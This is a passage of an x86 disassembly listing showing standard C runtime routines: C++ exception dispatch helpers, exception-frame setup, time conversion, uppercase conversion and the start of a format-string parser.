		jnz	short loc_41CFE7

loc_41CFC5:				; CODE XREF: sub_41CF94+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41CFCF
		test	byte ptr [edi],	8
		jz	short loc_41CFE7

loc_41CFCF:				; CODE XREF: sub_41CF94+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41CFDE
		test	byte ptr [edi],	1
		jz	short loc_41CFE7

loc_41CFDE:				; CODE XREF: sub_41CF94+43j
		test	al, 2
		jz	short loc_41CFEB
		test	byte ptr [edi],	2
		jnz	short loc_41CFEB

loc_41CFE7:				; CODE XREF: sub_41CF94+2Fj
					; sub_41CF94+39j ...
		xor	eax, eax
		jmp	short loc_41CFEE
; ---------------------------------------------------------------------------

loc_41CFEB:				; CODE XREF: sub_41CF94+Bj
					; sub_41CF94+14j ...
		push	1
		pop	eax

loc_41CFEE:				; CODE XREF: sub_41CF94+55j
		pop	edi
		pop	esi
		retn
sub_41CF94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CFF1	proc near		; CODE XREF: sub_41CCAA+34p
					; ___:0041D0E7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424860
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41D023:				; CODE XREF: sub_41CFF1+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41D07D
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41D032
		cmp	esi, [edi+4]
		jl	short loc_41D037

loc_41D032:				; CODE XREF: sub_41CFF1+3Aj
		call	sub_41D552

loc_41D037:				; CODE XREF: sub_41CFF1+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41D052
		push	103h
		push	ebx
		push	eax
		call	sub_41D4B0

loc_41D052:				; CODE XREF: sub_41CFF1+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41D072
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41D08F
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41D072:				; CODE XREF: sub_41CFF1+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41D023
; ---------------------------------------------------------------------------

loc_41D07D:				; CODE XREF: sub_41CFF1+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CFF1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D08F	proc near		; CODE XREF: sub_41CFF1+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41D0A0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41D0A0:				; CODE XREF: sub_41D08F+Cj
		jmp	sub_41D4FC
sub_41D08F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D0A5	proc near		; CODE XREF: sub_41CD45+151p
					; sub_41CEEC+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41D0C7
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41D256
		add	esp, 10h

loc_41D0C7:				; CODE XREF: sub_41D0A5+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41D0D3
		push	edi
		jmp	short loc_41D0D6
; ---------------------------------------------------------------------------

loc_41D0D3:				; CODE XREF: sub_41D0A5+29j
		push	[ebp+arg_24]

loc_41D0D6:				; CODE XREF: sub_41D0A5+2Cj
		call	sub_417EFC
sub_41D0A5	endp

; ---------------------------------------------------------------------------
		mov	esi, [ebp+24h]
		push	dword ptr [esi]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	edi
		call	sub_41CFF1
		mov	eax, [esi+4]
		push	100h
		push	dword ptr [ebp+28h]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+10h]
		push	edi
		push	dword ptr [ebp+8]
		call	sub_41D120
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41D11B
		push	edi
		push	eax
		call	sub_417EBA

loc_41D11B:				; CODE XREF: ___:0041D112j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D120	proc near		; CODE XREF: ___:0041D108p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424870
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_48A090
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_48A094
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_48A090, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_48A094, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_417F81
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41D1E6
		mov	eax, [ebp+var_2C]

loc_41D1AD:				; CODE XREF: sub_41D1C6+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D120	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1BC	proc near		; DATA XREF: ___:00424880o
		push	dword ptr [ebp-14h]
		call	sub_41D22C
		pop	ecx
		retn
sub_41D1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1C6	proc near		; DATA XREF: ___:00424884o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4181E2
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41D1AD
sub_41D1C6	endp

; ---------------------------------------------------------------------------

loc_41D1DE:				; DATA XREF: ___:00424878o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41D1E6	proc near		; CODE XREF: sub_41D120+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_48A090, eax
		mov	eax, [ebp-20h]
		mov	dword_48A094, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41D22B
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41D22B
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41D22B
		cmp	[ebp-24h], ebx
		jnz	short locret_41D22B
		cmp	[ebp-2Ch], ebx
		jz	short locret_41D22B
		call	sub_41824A
		push	eax
		push	edi
		call	sub_41D41A
		pop	ecx
		pop	ecx

locret_41D22B:				; CODE XREF: sub_41D1E6+1Cj
					; sub_41D1E6+22j ...
		retn
sub_41D1E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D22C	proc near		; CODE XREF: sub_41D1BC+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41D253
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41D253
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41D253
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41D253
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D253:				; CODE XREF: sub_41D22C+Cj
					; sub_41D22C+12j ...
		xor	eax, eax
		retn
sub_41D22C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D256	proc near		; CODE XREF: sub_41D0A5+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424888
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41D3FF
		cmp	byte ptr [eax+8], 0
		jz	loc_41D3FF
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41D3FF
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41D2F3
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx

loc_41D2E4:				; CODE XREF: sub_41D256+F5j
		push	eax
		call	sub_41D481
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D2F3:				; CODE XREF: sub_41D256+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_41D34D
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_41D3FB
		mov	eax, [edi]
		test	eax, eax
		jz	loc_41D3FB
		add	esi, 8
		push	esi
		jmp	short loc_41D2E4
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D256+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_41D395
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4182C0
		add	esp, 0Ch
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D395:				; CODE XREF: sub_41D256+103j
		call	sub_4208D2
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	1
		push	edi
		call	sub_4208EE
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		push	dword ptr [esi+18h]
		call	sub_42090A
		pop	ecx
		test	eax, eax
		jz	short loc_41D3F6
		test	byte ptr [esi],	4
		jz	short loc_41D3DC
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EF5
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3DC:				; CODE XREF: sub_41D256+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41D481
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_417EEE
		jmp	short loc_41D3FB
; ---------------------------------------------------------------------------

loc_41D3F6:				; CODE XREF: sub_41D256+6Aj
					; sub_41D256+7Cj ...
		call	sub_41D552

loc_41D3FB:				; CODE XREF: sub_41D256+98j
					; sub_41D256+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D3FF:				; CODE XREF: sub_41D256+2Ej
					; sub_41D256+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D256	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D41A	proc near		; CODE XREF: sub_41CD45+170p
					; sub_41D1E6+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424898
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D461
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_41D461
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_417EEE
		or	[ebp+var_4], 0FFFFFFFFh

loc_41D461:				; CODE XREF: sub_41D41A+2Aj
					; sub_41D41A+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D41A	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_41D481	proc near		; CODE XREF: sub_41D256+8Fp
					; sub_41D256+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_41D4A2
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx

loc_41D4A2:				; CODE XREF: sub_41D481+12j
		pop	esi
		retn
sub_41D481	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4B0	proc near		; CODE XREF: sub_417F81+40p
					; sub_41CFF1+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41826D
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_41D4EF
		mov	ecx, 2

loc_41D4EF:				; CODE XREF: sub_41D4B0+38j
		push	ecx
		call	sub_41826D
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_41D4B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4FC	proc near		; CODE XREF: sub_41CD45:loc_41CEE7j
					; sub_41D08F:loc_41D0A0j ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00420922 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248A8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_48A09C
		test	eax, eax
		jz	short loc_41D544
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_41D540
; ---------------------------------------------------------------------------

loc_41D539:				; DATA XREF: ___:004248B8o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D53D:				; DATA XREF: ___:004248BCo
		mov	esp, [ebp+var_18]

loc_41D540:				; CODE XREF: sub_41D4FC+3Bj
		and	[ebp+var_4], 0

loc_41D544:				; CODE XREF: sub_41D4FC+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D54D:				; DATA XREF: ___:004248B0o
		jmp	loc_420922
sub_41D4FC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D552	proc near		; CODE XREF: sub_418123+23p
					; sub_418123:loc_41818Ep ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248C0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43B924
		test	eax, eax
		jz	short loc_41D59A
		mov	[ebp+var_4], 1
		call	eax ; sub_41D4FC
		jmp	short loc_41D596
; ---------------------------------------------------------------------------

loc_41D58F:				; DATA XREF: ___:004248D0o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41D593:				; DATA XREF: ___:004248D4o
		mov	esp, [ebp+var_18]

loc_41D596:				; CODE XREF: sub_41D552+3Bj
		and	[ebp+var_4], 0

loc_41D59A:				; CODE XREF: sub_41D552+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5

loc_41D5A3:				; DATA XREF: ___:004248C8o
		jmp	sub_41D4FC
sub_41D552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5A8	proc near		; CODE XREF: sub_418603+7p
					; sub_418603+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_48B688
		push	esi
		cmp	eax, 3
		jnz	short loc_41D5D1
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AD89
		test	eax, eax
		pop	ecx
		jz	short loc_41D5CE
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5CE:				; CODE XREF: sub_41D5A8+1Cj
		push	esi
		jmp	short loc_41D5F8
; ---------------------------------------------------------------------------

loc_41D5D1:				; CODE XREF: sub_41D5A8+Ej
		cmp	eax, 2
		jnz	short loc_41D5F5
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41D5F5
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_41D606
; ---------------------------------------------------------------------------

loc_41D5F5:				; CODE XREF: sub_41D5A8+2Cj
					; sub_41D5A8+43j
		push	[ebp+arg_0]

loc_41D5F8:				; CODE XREF: sub_41D5A8+27j
		push	0
		push	dword_48B684
		nop
		call	near ptr 287048Eh

loc_41D606:				; CODE XREF: sub_41D5A8+24j
					; sub_41D5A8+4Bj
		pop	esi
		leave
		retn
sub_41D5A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D609	proc near		; CODE XREF: sub_4186B1+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_41D6C5
		cmp	ebx, 8Ah
		jg	loc_41D6C5
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43C054[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_41D648
		cmp	edi, 2
		jle	short loc_41D648
		inc	esi

loc_41D648:				; CODE XREF: sub_41D609+37j
					; sub_41D609+3Cj
		call	sub_420939
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43BF70
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_41D6BB
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_41D6C1
		cmp	dword_43BF74, 0
		jz	short loc_41D6C1
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_420BAC
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_41D6C1

loc_41D6BB:				; CODE XREF: sub_41D609+90j
		add	ecx, dword_43BF78

loc_41D6C1:				; CODE XREF: sub_41D609+96j
					; sub_41D609+9Fj ...
		mov	eax, ecx
		jmp	short loc_41D6C8
; ---------------------------------------------------------------------------

loc_41D6C5:				; CODE XREF: sub_41D609+13j
					; sub_41D609+1Fj
		or	eax, 0FFFFFFFFh

loc_41D6C8:				; CODE XREF: sub_41D609+BAj
		pop	ebx
		leave
		retn
sub_41D609	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D6CB	proc near		; CODE XREF: sub_418833+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_48A0A8, 0
		push	ebx
		jnz	short loc_41D6F6
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_41D794
		cmp	eax, 7Ah
		jg	loc_41D794
		sub	eax, 20h
		jmp	loc_41D794
; ---------------------------------------------------------------------------

loc_41D6F6:				; CODE XREF: sub_41D6CB+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_41D729
		cmp	dword_4397AC, 1
		jle	short loc_41D716
		push	2
		push	ebx
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D721
; ---------------------------------------------------------------------------

loc_41D716:				; CODE XREF: sub_41D6CB+3Dj
		mov	eax, off_4395A0
		mov	al, [eax+ebx*2]
		and	eax, 2

loc_41D721:				; CODE XREF: sub_41D6CB+49j
		test	eax, eax
		jnz	short loc_41D729

loc_41D725:				; CODE XREF: sub_41D6CB+AFj
		mov	eax, ebx
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D729:				; CODE XREF: sub_41D6CB+34j
					; sub_41D6CB+58j
		mov	edx, off_4395A0
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D74C
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_41D755
; ---------------------------------------------------------------------------

loc_41D74C:				; CODE XREF: sub_41D6CB+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1

loc_41D755:				; CODE XREF: sub_41D6CB+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_48A0A8
		call	sub_41E709
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D725
		cmp	eax, 1
		jnz	short loc_41D787
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D794
; ---------------------------------------------------------------------------

loc_41D787:				; CODE XREF: sub_41D6CB+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D794:				; CODE XREF: sub_41D6CB+14j
					; sub_41D6CB+1Dj ...
		pop	ebx
		leave
		retn
sub_41D6CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D797	proc near		; CODE XREF: sub_418A52+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_41E19D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41D7C6
; ---------------------------------------------------------------------------

loc_41D7C1:				; CODE XREF: sub_41D797+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx

loc_41D7C6:				; CODE XREF: sub_41D797+28j
		cmp	dword_4397AC, 1
		jle	short loc_41D7DE
		movzx	eax, al
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_41D7ED
; ---------------------------------------------------------------------------

loc_41D7DE:				; CODE XREF: sub_41D797+36j
		mov	ecx, off_4395A0
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8

loc_41D7ED:				; CODE XREF: sub_41D797+45j
		cmp	eax, ebx
		jz	short loc_41D827
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_41E224
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41E20D
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		add	esp, 0Ch

loc_41D815:				; CODE XREF: sub_41D797+8Ej
		test	eax, eax
		jz	short loc_41D827
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_420F60
		pop	ecx
		jmp	short loc_41D815
; ---------------------------------------------------------------------------

loc_41D827:				; CODE XREF: sub_41D797+58j
					; sub_41D797+80j
		cmp	byte ptr [esi],	25h
